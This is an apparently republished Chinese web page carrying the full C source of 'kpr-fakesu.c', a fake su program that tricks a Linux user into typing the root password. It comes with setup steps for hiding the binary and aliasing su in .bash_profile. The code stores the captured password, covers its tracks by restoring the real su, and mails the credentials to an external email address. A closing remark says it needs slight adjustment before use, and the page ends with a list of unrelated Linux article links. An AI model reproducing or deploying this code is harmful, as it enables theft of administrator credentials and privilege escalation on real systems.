kpr-fakesu.c Linux su密码欺骗 源码

简介: /* * kpr-fakesu.c V0.9beta167 ;P * by koper * * Setting up: * admin@host:~$ gcc -o .su fakesu.
/* 
 * kpr-fakesu.c V0.9beta167 ;P
 * by koper <koper@linuxmail.org>
 *
 * Setting up:
 * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
 * admin@host:~$ mv .su /var/tmp/.su
 * admin@host:~$ cp .bash_profile .wgetrc
 * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
 * admin@host:~$ logout
 * *** LOGIN ***
 * admin@host:~$ su
 * Password: 
 * su: Authentication failure
 * Sorry.
 * admin@host:~$ su
 * Password: 
 * root@host:~# logout
 * admin@host:~$ cat /var/tmp/.pwds
 * root:dupcia17
 * admin@host:~$ 
 * 
 * /bin/su sends various failure information depending on the OS ver.
 * Please modify the source to make it "fit" ;)
 * 
 */

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
   if(strcmp(argv[1], "-l")==0)
     user=argv[2];
   else user=argv[1];}

fprintf(stdout,"Password: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure.\n");

if ((fp=fopen(filex,"w")) != NULL)
  {
  fprintf(fp, "%s:%s\n", user, pass);
  fclose(fp);
  }

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

/* If you don't want password in your e-mail uncomment this line: */

system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail hirootmail@qq.com");

}

代码要根据实际情况,稍微改下才能使用。

sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/hiroot/.wgetrc /home/hiroot/.bash_profile");

目录
相关文章
|
4月前
|
Linux
Linux源码阅读笔记10-进程NICE案例分析2
Linux源码阅读笔记10-进程NICE案例分析2
|
2月前
|
安全 Linux 数据安全/隐私保护
Linux 忘记密码解决方法
Linux 忘记密码解决方法
51 2
Linux 忘记密码解决方法
|
2月前
|
Linux Shell 数据安全/隐私保护
Linux如何在服务器上进行密码的修改?
【10月更文挑战第6天】Linux如何在服务器上进行密码的修改?
182 1
|
2月前
|
Linux 数据安全/隐私保护 索引
linux inode索引节点使用率100% 解决+hustoj忘记密码+最新MDK注册方法
linux inode索引节点使用率100% 解决+hustoj忘记密码+最新MDK注册方法
48 1
|
2月前
|
Ubuntu Linux Shell
Linux系统密码忘记
【10月更文挑战第2天】在Linux系统中,若忘记密码,可以通过单用户模式或使用Live CD/USB来重置。对于Ubuntu系统,可通过GRUB引导菜单进入单用户模式,利用命令行重置密码;或使用Live CD/USB启动并挂载硬盘分区后修改密码文件。CentOS系统同样支持单用户模式重置密码,也可借助安装介质进入救援模式,挂载文件系统后进行密码重置。这些方法均能在忘记密码的情况下帮助恢复系统访问。
|
3月前
|
安全 Linux 数据安全/隐私保护
Linux强制修改用户密码
【9月更文挑战第21天】在 Linux 系统中,可使用以下方法强制修改用户密码:1. 使用 `passwd` 命令,以 root 身份运行 `passwd username` 修改密码,加 `-f` 选项可跳过复杂度检查;2. 使用 `chpasswd` 命令,通过文本文件批量设置密码;3. 结合 `usermod -e 0 username` 和 `chpasswd` 强制用户下次登录时更改密码。注意操作时需确保安全性与合理性。
338 4
|
4月前
|
Linux Shell 数据安全/隐私保护
Linux用户账户管理精髓:创建、删除、密码与会话管理全攻略
本文档介绍了Linux系统中用户账户管理的关键操作,包括创建与删除用户、设置及修改密码、用户切换与会话管理等内容。通过理论说明与具体命令示例,如使用`useradd`、`userdel`、`passwd`和`su`等命令,帮助系统管理员更好地掌握这些基本技能,从而有效提升系统的安全性和管理效率。此外,还介绍了如何利用`screen`等工具进行会话管理,确保即便在网络中断的情况下也能维持会话的持续运行。
120 3
|
4月前
|
安全 关系型数据库 MySQL
在Linux中,如何重置 mysql root 密码?
在Linux中,如何重置 mysql root 密码?
|
4月前
|
Linux
Linux源码阅读笔记13-进程通信组件中
Linux源码阅读笔记13-进程通信组件中
|
4月前
|
消息中间件 安全 Java
Linux源码阅读笔记13-进程通信组件上
Linux源码阅读笔记13-进程通信组件上
下一篇
DataWorks